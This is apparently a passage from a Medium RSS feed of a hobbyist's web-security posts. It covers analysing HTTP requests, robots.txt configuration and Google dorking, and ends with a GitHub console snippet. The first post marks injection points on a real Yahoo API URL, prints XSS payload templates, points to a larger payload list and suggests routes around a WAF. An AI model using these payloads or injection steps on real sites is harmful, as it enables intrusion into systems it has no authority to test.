href="https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller"><strong><br>Model</strong></a><strong>: </strong>represents the application’s:<br> — — - data structure<br>- — — — business logic<br> -— — — -rules<br> —- — — — data retrieval<br> — — — — — storage<br> — — — — — -manipulation.</p><figure><img alt="dj substance / 9x / ethical hacker / tranceattic" src="https://cdn-images-1.medium.com/max/800/0*FY8NfYl0xpRViJ-z.png" /><figcaption>When you hit a /path on a server imagine now a days that you are access a completely different system</figcaption></figure><p>The <strong>Model</strong> communicates with the database and is typically accessed by the <strong>Controller</strong> (to retrieve or save data).</p><p>Importantly, it remains <strong>unaware </strong>of the user interface.</p><p><a href="https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller"><strong>View</strong></a></p><ul><li><strong>Purpose</strong>: The <strong>View</strong> is responsible for presenting the user interface. It displays data to users and formats it for interaction. Whether it’s a web page or a desktop window, the <strong>View</strong> ensures a seamless user experience.</li><li><strong>Interaction</strong>: The <strong>View</strong> receives data from the <strong>Controller</strong> and focuses solely on display. It doesn’t process or store data.</li></ul><p><strong>Controller</strong></p><ul><li><strong>Purpose</strong>: <br>Acting as an intermediary,</li></ul><p><strong>The Controller</strong> <strong>bridges the gap between the Model and the View</strong>. <br>It listens to user inputs <br><em>(such as mouse clicks or keyboard events)</em>, <br>retrieves data from the <strong>Model</strong>, <br>selects an appropriate <strong>View</strong> (for rendering)</p><ul><li><strong>Interaction</strong>: The <strong>Controller</strong> manages data flow into the <strong>Model</strong> and updates the <strong>View</strong> whenever data changes. By keeping the <strong>View</strong> and <strong>Model</strong> separate, it maintains a clear separation of concerns.</li></ul><p>I find this interesting, considering its such a integral part of this whole frame work, however Routing is Not traditionally part of MVC.</p><blockquote><strong>Routing</strong> determines how the application responds to client requests based on specific endpoints (URIs or paths) and HTTP methods (such as GET or POST). While not a standard part of <strong>MVC</strong>, it plays a crucial role in directing requests to the appropriate components.</blockquote><p>Remember that this extended architecture provides <em>flexibility </em>and <em>adaptability</em>, especially <strong>when handling complex web applications</strong>.</p><p>I am sorry if that was torture, but if you made it this far, I commend you and it will be worth it. The way that I can tell where I am within a web app I am testing is primarily 2 methods:<br>1) Inspect / console, network, element etc<br>2) Burp / repeater / intruder</p><p>Lets look at this request — always being on the look out for the following:<br> * Anything “non-standard” or “weird” looking<br> * Mismatched, misspelled or headers out of order<br> * Duplicate headers<br> * Inconsistant reponses with the same request<br> * <strong>Look for CUSTOM HEADERS </strong>(Like Tesla uses: X-Tzla-)</p><p>Here is a request to pagead2.googlesyndication.com: Most of the information is being “send” via the GET request on the URL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*NRL-7spLweXAwHRyUi5-QA.png" /></figure><p>Anytime I see a header (response or request) that starts with X- I am all ove it. However looking up X-Client-Data, and according to the GPT pentester:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*AH5SzCWcXcU2b3eR1hcMYw.png" /></figure><p>The thing to do in my mind is send another request: Look for deltas:</p><p>Request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*nd3ynwRrffzXgC91TlFj9Q.png" /><figcaption>Dont make this harder then it has to be . the web is just Request / Response</figcaption></figure><p>Response #1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*MlEI34J4RU0z9oLVI-qnhw.png" /><figcaption>Always look for 1) URLs 2) Known headers of interest 3) Unknown responses</figcaption></figure><p>Response #2: (With comments)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*BGAT9cgXR_97__8UcBtuSw.png" /><figcaption>This response is providing lots of info. lets just go over what i see:</figcaption></figure><p>First of all we made a POST request to espanol.yahoo.com on TCP/443.<br>Looking back, the POST URI was extensive:</p><blockquote>/tdv2_fp/api/resource/NotificationHistory.getHistory;count=5;imageTag=<strong>img%3A40x40%7C2%7C80;</strong>theme=default;notificationTypes=breakingNews;lastUpdate=1710642684;loadInHpViewer=true;includePersonalized=;partner=yahoo</blockquote><p>When we see a URI like that, its suprising its so long, usually the data is in the cookies, etc. However I notice a URL/ hex encoded string, when you see a string like this think to yourself why did they go through the trouble to encode it:</p><p>The string provided, img%3A40x40%7C2%7C80;, was URL encoded.</p><p>When decoded, it translates to img:40x40|2|80;</p><ul><li>%3A is the URL-encoded representation of :</li><li>%7C is the URL-encoded representation of |</li></ul><p>So, decoding img%3A40x40%7C2%7C80; results in img:40x40|2|80;</p><p>it doesnt look too interesting but get used to decoding strings. another response: Notice Server: ATS. Start googling . We know they run Kuberneters on port 4080. I would start adding X-Forwarded headers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*rBooE0PAOFCqWEH252__cg.png" /><figcaption>Look for any custom header responses or anything starting with X-*</figcaption></figure><p>In this example the things that jump out to me, are several, and they should be jumping out to you too. I hope by now you know what k8s is</p><p>Some key injection points on that URL: GET /tdv2_fp/api/resource/NotificationHistory.getHistory;count=&lt;<strong>HERE&gt;</strong>5;imageTag=&lt;<strong>HERE&gt;</strong>img%3A40x40%7C2%7C80&lt;<strong>HERE&gt;</strong>;theme=&lt;<strong>HERE&gt;</strong>default;notificationTypes=breakingNews;lastUpdate=1710642684;loadInHpViewer=&lt;<strong>HERE&gt;</strong>true;includePersonalized=&lt;<strong>HERE&gt;</strong>;partner=&lt;<strong>HERE&gt;</strong>yahoo HTTP/1.1</p><p>I have an entire list of payloads at <a href="https://raw.githubusercontent.com/djsubstance/syntax/main/Effective-SQLi-LIST-short.txt">DJ Substance / XSS Payload List / Short</a> .</p><p><strong>They look like:</strong><br>;{JAVASCRIPT};<br>{JAVASCRIPT};<br>&lt;SCR%00IPT&gt;{JAVASCRIPT}&lt;/SCR%00IPT&gt;<br>\”;{JAVASCRIPT};//<br>&lt;STYLE TYPE=”text/javascript”&gt;{JAVASCRIPT};&lt;/STYLE&gt;<br>&lt;&lt;SCRIPT&gt;{JAVASCRIPT}//&lt;&lt;/SCRIPT&gt;<br>“{EVENTHANDLER}={JAVASCRIPT}</p><p>This should be nothing new to you. Now to the meat and potatos of the article. In order to get to your target you need to have a passing “score” in order to get past the WAF .. OR . If your lucky, look for DNS misconfigurations like I have seen on fastly.net . If you use <a href="https://dnsdumpster.com/">https://dnsdumpster.com</a> and lookup sites like yahoo.com, you will see CNAMEs and other entries that are intresting looking, and if the stars are shining in your favor, one of those links may just lead you directly to the target without having to deal with the defenses. The odds are low.</p><p>Here is a response from googletagservices.com — let me mention that I did not initiate. “Background traffic” persay:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*h38rNK6-vv8wFGAxTbZFhA.png" /><figcaption>No server response EVER *HAS* TO disclose what type of server it is, at least make sure you note this</figcaption></figure><p>We see HTTP/2 — It is somewhat current. This mine as well not be using a CSP, cause its worthleless.</p><p>Note the last header: Alt-Svc / The Alt-Svc header (Alternative Services) is:<br> — defined in HTTP/2 but more used in HTTP/3 <br>informs client that requested resource is available through alternative services or protocols.</p><p>This allows a web server to indicate to the client that it can connect using <strong>different </strong>network protocols or hostnames, potentially optimizing connection efficiency, reliability, and performance. (Also possibly misdirecting it)</p><p>In the example provided, Alt-Svc: h3=&quot;:<strong>443</strong>&quot;; ma=<strong>2592000</strong>,h3-29=&quot;:<strong>443</strong>&quot;; ma=<strong>2592000</strong>, the header specifies alternative services for accessing the resource. Here&#39;s a breakdown of its components:</p><ul><li>h3=”:443&quot;: This indicates that the HTTP/3 protocol is available on port 443. In another article we will cover QUIC “(a transport layer network protocol) to improve performance by reducing connection / transport latency.</li><li>ma=2592000: The ma parameter stands for &quot;max-age&quot;, and it specifies the time, in seconds, that the client should consider the alternative service as valid. In this case, 2592000 seconds equals<strong> 30 days.</strong> During this period, the client may use the alternative service for subsequent requests to the same server.</li><li>h3–29=”:443&quot;: This is similar to h3=&quot;:443&quot; but specifies a specific draft version of the HTTP/3 protocol (draft 29 in this case) that the client can use to communicate.</li></ul><p>The use of the Alt-Svc header allows a server to direct clients to use more efficient or appropriate protocols without requiring any changes to the URI or affecting caching mechanisms. It&#39;s part of ongoing efforts to evolve the web&#39;s infrastructure to improve speed, efficiency, and security.</p><p>Keep in mind, some headers are not sent by the client, some are not sent by the server. That doesnt meant we cant try ; )</p><p>Given the premise that clients do not send Alt-Svc headers, lets try some fuzzing techniques that could be applied to server response headers like Alt-Svc in a testing scenario. Remember clients never send this:</p><p>Hypothetical Fuzzed Alt-Svc Value(s)</p><ol><li>Extended Max-Age: Alt-Svc: h3=&quot;:443&quot;; ma=999999999999</li><li>Invalid Protocol: Alt-Svc: h99=&quot;:443&quot;; ma=2592000</li><li>**Non — numeric Port: Alt-Svc:h3=&quot;:xyz&quot;; ma=2592000</li><li>Negative Max-Age: Alt-Svc: h3=&quot;:443&quot;; ma=-2592000</li><li>Multiple Services with Conflicting Information: Alt-Svc: h3=&quot;:443&quot;; ma=2592000, h3=&quot;:443&quot;; ma=10</li><li>Missing Max-Age: Alt-Svc: h3=&quot;:443&quot;</li><li>Oversized Value Length: Alt-Svc: h3=&quot;:443&quot;; ma=2592000; param=&quot; followed by a very long string exceeding typical header size limits.</li><li>Special Characters in Protocol Name: Alt-Svc: h3$=&quot;:443&quot;; ma=2592000</li><li>Whitespace Manipulation: Alt-Svc: h3 = &quot;:443&quot; ; ma = 2592000 (unconventional spacing around equals and semicolons)</li><li>Control Characters: Embedding control characters or non-printable characters within the header value.</li></ol><p>— — — — —</p><p>Thats enought for now. to be continued</p><p>substance</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d681e67f4a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The criticality of getting robots.txt correct and the pitfalls of not]]></title>
            <link>https://djsubstance.medium.com/the-criticality-of-getting-robots-txt-correct-and-the-pitfalls-of-not-5fc27c01b29b?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fc27c01b29b</guid>
            <category><![CDATA[html]]></category>
            <category><![CDATA[secure-robots]]></category>
            <category><![CDATA[make]]></category>
            <category><![CDATA[dj-substance]]></category>
            <category><![CDATA[web-server-secure-config]]></category>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Sun, 03 Mar 2024 20:01:19 GMT</pubDate>
            <atom:updated>2024-03-03T20:01:19.115Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="DJ Substance / Deep Progressive Elite Trance Mixes / Tranceattic.com" src="https://cdn-images-1.medium.com/max/196/1*g9tPiJK2s5vKIKIrCbKWzQ.png" /><figcaption>More then 50% of the live websites on the intrawebs have a malformed robots.txt exposing ALOT</figcaption></figure><p>According to our best friend ChatGPT —</p><figure><img alt="dj substance / elite progressive trance" src="https://cdn-images-1.medium.com/max/1024/1*zk_zL1gZcyunIGxo89dpIg.png" /><figcaption>Summarization of how many websites are “online” vs “active” as of Mar 2 / 2o24</figcaption></figure><p>According to the statistics from AI 1.5billion sites are up — but a FRACTION are actaually worth a damn or used. (this includes shady sites malware sites, all that those are considered active). Also to clear up (no pun) one fact that very few people are aware of. These definitions are important to know:</p><p>Darknet vs Clearnet — If i asked you this in person, what would you tell me the difference is?</p><p>This is *verified* look it up if you dont believe me:</p><blockquote><strong>Darknet</strong>: Encrypted networks requiring specific software for access, not indexed by search engines, often [NOT always] associated with anonymity and illicit activities.</blockquote><blockquote><strong>Clearnet</strong>: The publicly accessible internet, indexed by search engines, without the need for special access tools.</blockquote><p>A perfect example of something one would not think is darknet could be a company like Oracle’s backend servers. We dont have access to them, they arent on search indexers are they? They are “Dark” .. get it. this is my understanding. on to the topic at hand. All information is 100% accurate as of today:</p><figure><img alt="dj substance / haxing it up" src="https://cdn-images-1.medium.com/max/1024/0*dCcRGK1Hp0XcM_Fv" /><figcaption>I still dont understand how chatGPT / Dalle can mispell something i am typing to it ;p</figcaption></figure><p>Why robots.txt :<br>robots.txt file is a text file web-admins create to instruct webbots/indexers (typically search engine robots, but not limited to manytimes it is sites like uptime.com and spyse.com and other enumeration type crawlers), the file (IF it is respected — this is a choice) how to and what to crawl pages (crawl = index — make a record of the following per page:</p><ul><li>Site URL (full URI — so be careful you are not exposing session tokens)</li><li>Site &lt;title&gt; — It should be &lt;147px (not characters)</li><li>Site &lt;meta description&gt; — It should be &lt; around 500–700px — look it up</li><li>other metadata like “rich snippets” or rating, flags for threats, etc.</li></ul><p>Because this image is awesome for this article, i am borrowing it from ahrefs.com —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*AE7JNhpxeJKEsN8u.png" /><figcaption>This isnt as much to confuse you about organic results vs non. but to show you the layout of each SERP</figcaption></figure><p>Incase you havent really noticed, the first 2–3 results on Google, Bing, etc are usually saying “sponsered” — they usually redirect you through some BS like ad.doubleclick.net and someone gets $ for your clicks. I typically dont find these even useful, so IMO avoid clicking promoted / advertised links.</p><p>Now that we know what the search index’ers (or robots) are doing on our site — one more thing if your wondering — will they find my website if i dont advertise, the answer is hell <strong>yes</strong>. Expect it. If you dont want to show up on any type of search listing, you need to do more then just disallow in robots, you should setup .htpasswd and make the site inaccessable or move http to a non-standard port..</p><p>Wrapping up the imporant take-aways:<br>We know that robots.txt:<br>1) is case sensitive — it must be “robots.txt” not “rObotS.txt”<br>2) must be world-readable (chmod 644 works good)<br>3) must be in the web root ( you should be able to hit site.com/robots.txt )<br>4) isnt mandatory (your website will work without it)<br>5) is the first place i go when i am pentesting a application/website</p><p>So just to summarize — according to the experts it “is part of the Robots Exclusion Protocol (REP), a group of web standards that regulate how robots crawl the web, access and index content, and serve that content up to users” (Cited wiki) :</p><p>The robots.txt file is placed at the root of the website (e.g., https://example.com/robots.txt) and suggests which areas of the site should not be processed or scanned by web crawlers.</p><ul><li>* Remember ** Respecting robots.txt is not mandatory it gets ignored</li></ul><p>However, with proper permission and coding, you should be able to control whats indexed.</p><p>There are a bunch of free tools to check the accessibility online:</p><p><a href="https://seositecheckup.com/tools/robotstxt-test">Robots.txt Test</a></p><p>^ <a href="https://seositecheckup.com/tools/robotstxt-test">https:// seositecheckup.com /tools/robotstxt-test</a></p><p>I just checked <a href="https://medium.com/robots.txt">https://medium.com/robots.txt</a></p><figure><img alt="dj substance / 9x robots.txt enumeration" src="https://cdn-images-1.medium.com/max/1024/1*RDNlCMrStHLF_mgQGidiYg.png" /><figcaption>Suprisingly medium.com got it right from all appearances — but this is just the initial check</figcaption></figure><p>This is now how I do my robots.txt,I will get into it in a second, but looking at that, if you have no exp. with this file or its contents, this is exactly where hackers are going to start looking for resources they should not have access to? Right? Why would they not. With that in mind, sometimes its better to not announce a sensitive directory and do things like:<br>Start the directory you want not indexed with a . ie: .logs<br>Set the permissions to not world readable, etc</p><p>Breifly, we go thru the file:</p><pre>User-Agent: *  &lt;- this should be at the end if you have multiple ua rules<br>Disallow: /m/  &lt;- If respected - Google/Bing/etc will not index anything in m<br>Disallow: /me/ &lt;- If respected - this folder will not be indexed<br>....<br></pre><p>This does not mean that you cannot visit the pages within these folders, in fact you may find things you had no idea were there or had no business seeing. Lets look at a more complex example of a disallow . Suppose you have a dynamic index.php file that serves up a table (from a mySQL DB) — and it lists 100 files that are all &lt;a href= links that will download when clicked. That would be straight forward in robots typically:</p><p>Allow: /index.php</p><p>However — this script has a download counter unique for each file, it calls itself with a GET request hxxp://example.com/index.php?id=25 — Will download file #25, increment counter in the DB and update the page .</p><p>This poses an issue for indexing, if you dont know why then, if you just Allow: index.php, (ive done it wrong), it will think that</p><p>hxxp://example.com/index.php?id=25 — Is a page</p><p>hxxp://example.com/index.php?id=24 — separate page</p><p>hxxp://example.com/index.php?id=23 — separate page and so on</p><p>This is not what you want, I recommend disallowing with wildcards and some operators the fact there are parameters on the url.</p><p>To prevent search engines from indexing URLs that contain query parameters (like the id parameter in your example), while still allowing them to index a page without parameters (e.g., index.php), you use Disallow directive / with a wildcard character. However, it&#39;s important to note that the use of wildcards (*) in robots.txt is supported by some but not all search engines.</p><p>Major search engines like Google and Bing do support wildcards, which allows for more flexible and precise control over what is allowed or disallowed for crawling.</p><p>Here is how you might set up your robots.txt to disallow crawling of index.php with any query parameters, while still allowing index.php itself to be crawled:</p><p>Take medium.com’s robots.txt —</p><pre>Disallow: /search?q$<br>Disallow: /search?q=<br>Disallow: /*/search?q=<br>Disallow: /*/search/*?q=<br><br>There perfect examples<br></pre><p>The Breakdown — as far as my experience in watching the way and the different “bots” (good and bad — i would say its 25% / 75% . as in 75% are bad/annoying) — my recomm. drop any inbound webtraffic with no User-Agent set. Unless you have a reason to allow it, if there is no useragent it is likely just a script or someone connecting manually. All browser will set some type of UA — all legit robots will identify themselves, but this is easily modified by the client so dont rely on it. It is simliar to the “referer” (it is spelled wrong, but that is how the w3 (w3 = world wide web consordium[sp?] if you are not famliar with this term or the organization you should get famliar . i refer to them as the w3 gods) .</p><p>What are these terms refered to as- Disallow? Allow?<br>Many aspects of web req/resp and the headers are called “Directives” and then values, very simliar to key/value pairs. In this case the primary directives for robots.txt are Allow and Disallow.</p><p>Briefly explaining how to not create many copies of your single page if it is dynamic — initally. I have done this wrong before, and it took 2 years to resync and get “right” with all the search engines (they seem to communicate to a degree) — <br>Many sites will put stupid ascii’s and disclaimers at the top of the robots file, i would not recommend this — its just extra bandwidth and bytes being send for no reason, everyone knows about robots.txt and it is no secret whats there. Just keep it small and I will briefly explain very soon how In my opinion we can minimize this file and keep it as secure and proper indexing as possible:</p><p><strong>Complex dynamic pages and robots.txt:<br>There is no doubt you will have to experiement to get your site (if your running a CMS look up the recommendations but keep mine in mind — they dont particularly have security as the primary concern in Drupal an WP — they are trying to maxamize your hits and visibilty — which you dont always need. For instance do you really need the login page index’d ? Perhaps. If the site is the Dept of Defense, i would say not ;p</strong></p><p>Option 1 — assuming your index.php (or aspx) is in the directory /search <br>(Keep in mind when you see a URL like this, the file is not search it is hitting, it is an index.(whatever language) inside search folder. (ie: https:// <a href="http://www.example/">www.example</a> com/search/index.php?q=123 &lt;- This is what the actaul full URI would be — if you dont believe me, take facebook.com, for example:</p><p>Visit <a href="https://www.facebook.com/index.php">https://www.facebook.com/index.php</a> — You will notice it attempts to clean up the url and you dont see the filename. so:</p><p>hxxps://www[dot]facebook[dot]com/?id=123<br><strong> is the same as</strong><br>hxxps://www[dot]facebook[dot]com/index.php?id=123</p><p><strong>The Disallow Directive:<br></strong>Cannot think of any situations where one of these examples would not suit your needs:</p><blockquote>Disallow: /search?q$<br>#1 This directive aims to disallow URLs that exactly match /search?q without any value assigned to q. The $ symbol at the end of the directive signifies the end of the URL, meaning nothing comes after q. However, it&#39;s important to note that the $ end-of-line anchor is not universally supported by all web crawlers. If a crawler does support it, this rule would block /search?q but not /search?q=something.</blockquote><blockquote>Disallow: /search?q= <br>#2 This directive tells web robots not to crawl any URL that starts with /search?q= followed by any value. It effectively blocks access to any search results page on the site where the search term is provided in the q query parameter. Unlike the previous directive, this one does not end with a $, so it applies to any URL that begins with /search?q=, regardless of what follows the =.</blockquote><blockquote>Disallow: /*/search?q=<br>#3 This directive is a bit more specific in its path but broader in its application than the previous ones. The initial * acts as a wildcard for any directory name, meaning it matches any URL that contains /search?q= preceded by any single directory or path segment. For example, it would match /articles/search?q= but not /search?q= directly under the root path. This rule is used to block search pages that are located within any subdirectory, but not at the root level.</blockquote><blockquote>Disallow: /*/search/*?q=<br>#4 This further customises and makes the path specific — while maintaining a broad match on the query parameter. This applies to any URL/URI with /search/ located within any path (or directly and no path prefixed) (as indicated by the initial *) and followed by another subpath (the second *), where the URL also includes a ?q= parameter. For example, it would block URLs like /indexer/search/results?q=. This directive specifically targets search result pages that are nested within a subdirectory and then further within a &#39;search&#39; directory, with additional path elements involved.</blockquote><p>Conclusion — security should be your focus when your in charge of making this file (and the sitemap.xml which works hand in hand with robots.txt).</p><p>More or less, think of a robots.txt file that:<br>1) 30–40% of visitors will be automated potentially and not human<br>2) For the first month of your new site, setup a WAF rule to drop traffic with no user agent — but initally keep the rule in “report only” mode so it counts<br> After a month or so, evaluate your rules and if your seeing alot of traffic with no UA and can tell by its activitys that they are not helpful, block it.</p><p>This is not typically done (if ever) in robots.txt, use Cloudflare or a reverse proxy (or .htaccess) to handle this.</p><p>3) example of robots.txt I wrote recently:</p><pre><br>User-Agent: *<br>Crawl-Delay: 2<br>Allow: /*.php<br>Allow: /gfx<br>Allow: /blog<br>Allow: /links<br>Allow: /msp<br>Disallow: /wp-admin<br>Disallow: /xmlrpc.php<br># Catch all deny <br>Disallow: /<br>Sitemap: https://samplemsp.net/sitemap.xml</pre><p>Many sites you will notice, handle Google, Bing, and other bots differently, I have never had a need for this. They way ive found which is best to evaluate this is to think of it like a firewall. When you first unwrap it and hook it up, all it has is</p><p>deny/ deny any /any — implicit deny</p><p>That is where I start with robots.txt Start by denying everything, then add allow’s for what you want to allow to be crawled. You can use <a href="http://www.technicalseo.com/">www.technicalseo.com</a> for an amazing set of free tools to help with these things.</p><p>One last thing, I see so many improperly crafted robots.txt, it prompted me to write this, lets look at one final example, here is a robots.txt on a unnamed site :</p><figure><img alt="DJ Substance bug bounty killa 9x" src="https://cdn-images-1.medium.com/max/958/1*jYzy2QnqmyPMfnLWAiHD1Q.png" /><figcaption>I highly recommend not to “skimp” out on your robots like this</figcaption></figure><p>The way this would be interpreted would be do not crawl anything in the 2 paths that are very specific, however, everything else on the site is fair game. If you are wondering why I keep mentioning why its so important to get this right. Lets look at Tesla.com’s website for a minute. Tesla makes great cars from what i understand but they did not do this right.</p><p><strong>I tried to find any robots.txt on tesla.com </strong>— none was found, in fact, I got 403 forbidden. N</p><p><strong>important: make a point of </strong>seeing what your company or your website has exposed on the search engines, l</p><p><strong>Remember — Google is not the only search engine</strong></p><p>Always check Bing.com, Yandex.ru, Ecosia.com, brave search is decent too</p><p>antyone rememebr astalavista.box.sk ;p ?</p><p>peace</p><p>substance</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fc27c01b29b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Dev/Info Sec Guys -> info regarding your robots.txt]]></title>
            <link>https://djsubstance.medium.com/web-dev-info-sec-guys-info-regarding-your-robots-txt-4c2945cf1e34?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c2945cf1e34</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[dj-substance]]></category>
            <category><![CDATA[9x]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-dev-101]]></category>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Sun, 24 Dec 2023 15:27:07 GMT</pubDate>
            <atom:updated>2023-12-24T15:27:07.396Z</atom:updated>
            <content:encoded><![CDATA[<h3>Web Dev/Info Sec Guys -&gt; info regarding your robots.txt and indexing behavior (very short and very important)</h3><p>I have recently been experimenting with how Google, Bing, Yandex, CensysBot, UptimeBot etc handle various inconsistencies in robots.txt. <br>This will take you 5 minutes to read and hopefully you will know how serious not setting up robots.txt can be, and how exposed you and your org. become, when not done right:</p><p>Take these non-real world examples:</p><pre>robots.txt<br>----------  (File needs to be world readable)<br>User-Agent: *<br>Disallow:<br><br><br>------- This is improper syntax and it doesnt actaully state to disallow <br><br>I have also seen alot of:<br>User-Agent: *<br>Disallow: /<br>Allow: *.php<br>Allow: /gfx  <br> ---- etc<br> <br>------- This is improper syntax and it will (most crawlers) will not index <br></pre><p>Here is the PoC:</p><p>Test site for PoC: opensea.io</p><pre><br># I kick off a curl (silent - follow redirects - set UA <br><br>curl -sL --user-agent &#39;moz&#39; https://opensea.io/robots.txt;echo<br><br>Response:<br>User-agent: *<br>Disallow: /cdn-cgi/<br>Sitemap: https://opensea.io/sitemap.xml<br><br>BTW --- This site is *massive* they arent covering much - in the sitemap file<br><br></pre><figure><img alt="Google Dork / Hacking / dj substance / 9x" src="https://cdn-images-1.medium.com/max/556/1*XyMIbk2yKxj4m-GPmp439w.png" /><figcaption>Lets examine how Google index’s and displays this configuration of robots.txt</figcaption></figure><p>How to validate the behavior on Google when a site of a large size has a robots.txt like this: Incognito google query:</p><blockquote><a href="https://www.google.com/search?q=site%3Aopensea.io&amp;rlz=1C5GCEM_enUS1007US1007&amp;oq=site%3Aopensea.io&amp;gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIGCAEQRRg7MgYIAhBFGDrSAQY5OGowajGoAgCwAgA&amp;sourceid=chrome&amp;ie=UTF-8#ip=1">site:opensea.io</a><br>Note: Whenever your Google Dorking — do it incognito, or you will have history and skewed results based on your past browsing history.</blockquote><p>So case in point — Look at the amount of results — <strong>2.62million</strong>:</p><figure><img alt="DJ Substance / Dropping the ill trance beats and elite progressive breaks mixes" src="https://cdn-images-1.medium.com/max/1024/1*P27NtMa2R1l1xyjFyEVVYg.png" /><figcaption>Due to not paying much care to robots.txt config. in this case, they may be exposing sensitive data</figcaption></figure><p>This isn&#39;t surprising at all, but it is interesting when your looking at a site of this site. Keep in mind these things about Google results:<br>* Max of 1000 results (100 x 10 pg) it doesn&#39;t matter your query<br>* It will try to goto the next page(s) if u keep hitting end key<br>* If you append &amp;num=100 to the end of the URL it will start list with 100.</p><p>Looking at how Yahoo.com handles it:</p><figure><img alt="Yahoo — robots.txt / dj substance" src="https://cdn-images-1.medium.com/max/1024/1*ImsgzcinsrYbfWUWTvP8OA.png" /><figcaption>Yahoo.com is very similiar in terms of the “dork” used and the massive amt of results</figcaption></figure><figure><img alt="DJ Substance / Bringing you the hacking / scene info in 2023 / 9x" src="https://cdn-images-1.medium.com/max/1024/1*MtxuOdLCepczv6Qi1zFoEw.png" /><figcaption>Its not quite 2.4 million but 360,000 files is a large attack surface.</figcaption></figure><figure><img alt="DJ Substance / Hacking / Elite Trance Music/ NYC / 9x" src="https://cdn-images-1.medium.com/max/844/1*_GVUbtZyXdbB2qEIL0Vl_g.png" /><figcaption>In Summary The outcome of not controlling what is indexed can be catastrophic</figcaption></figure><pre>Proper robots.txt file:<br><br>User-Agent: *<br>Crawl-Delay: 2<br>Allow: /gfx<br>Allow: *.php<br>Allow: /guestbook<br>Disallow: /<br><br>Sitemap: hxxps://mysite.com/sitemap.xml</pre><p>Nothing less or more is needed. Think of it like a firewall out of the box, if you ever got an enterprise grade FW like a cisco asa, they come with one rule. DENY ANY / any.. Think along those lines ;p</p><p>dj substance</p><p>merry xmas 2o23</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c2945cf1e34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Elite trick on GitHub to get all repos via inspect element / console at once]]></title>
            <link>https://djsubstance.medium.com/elite-trick-on-github-to-get-all-repos-via-inspect-element-console-at-once-33abcd98e984?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/33abcd98e984</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[github]]></category>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Mon, 18 Dec 2023 10:51:10 GMT</pubDate>
            <atom:updated>2023-12-18T10:51:10.121Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oJmsv6Q2LxOk50p2Om7JSA.png" /><figcaption>How to get all the git repo links off of one user without manual work!</figcaption></figure><p>Greetings,</p><p>After a nice gentleman posted that I was not helping that much by jumping around in my ideas and assuming people know what I am talking about, I will take a different approach.</p><p>Lets say you find a kick a$$ github repo, and you want all of the repos that the genius who made them has. Lets take this repo for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_wrFRDgq5fQRI4SklSBkGw.png" /><figcaption>User: testanull / gitrepo</figcaption></figure><p>Link: https:// <a href="https://github.com/testanull/">github.com/testanull/</a> — Visit this (safe) link.</p><p>Right Click — Inspect / Console —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LnSqb4OAHSLibiUENNehbw.png" /><figcaption>Doesnt really matter which GUI browser your using</figcaption></figure><p>You can type at the &gt; prompt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l0cVh9xVNHpEj0omuz3_BA.png" /></figure><p>Paste in the following:</p><pre>(async () =&gt; { let username = location.pathname.split(&#39;/&#39;)[1]; let response = await fetch(`https://api.github.com/users/${username}/repos`); let repos = await response.json(); console.log(`Repositories for ${username}:`); repos.forEach(repo =&gt; console.log(repo.name, repo.html_url)); })();</pre><p>It will detect the user and display the repos if it worked right:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HAPpmOTp_Ef3X6JiL0ghnA.png" /><figcaption>This should give you an idea of what is possible with console ;)</figcaption></figure><p>Hopefully this is straight to the point and helpful</p><p>subz</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33abcd98e984" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Essential and elite trick via inspect element/console —  that you will THANK ME for teaching you !]]></title>
            <link>https://djsubstance.medium.com/essential-and-elite-trick-via-inspect-element-console-that-you-will-thank-me-for-teaching-you-43a8b14d6815?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/43a8b14d6815</guid>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Wed, 13 Dec 2023 17:06:09 GMT</pubDate>
            <atom:updated>2023-12-13T17:06:09.579Z</atom:updated>
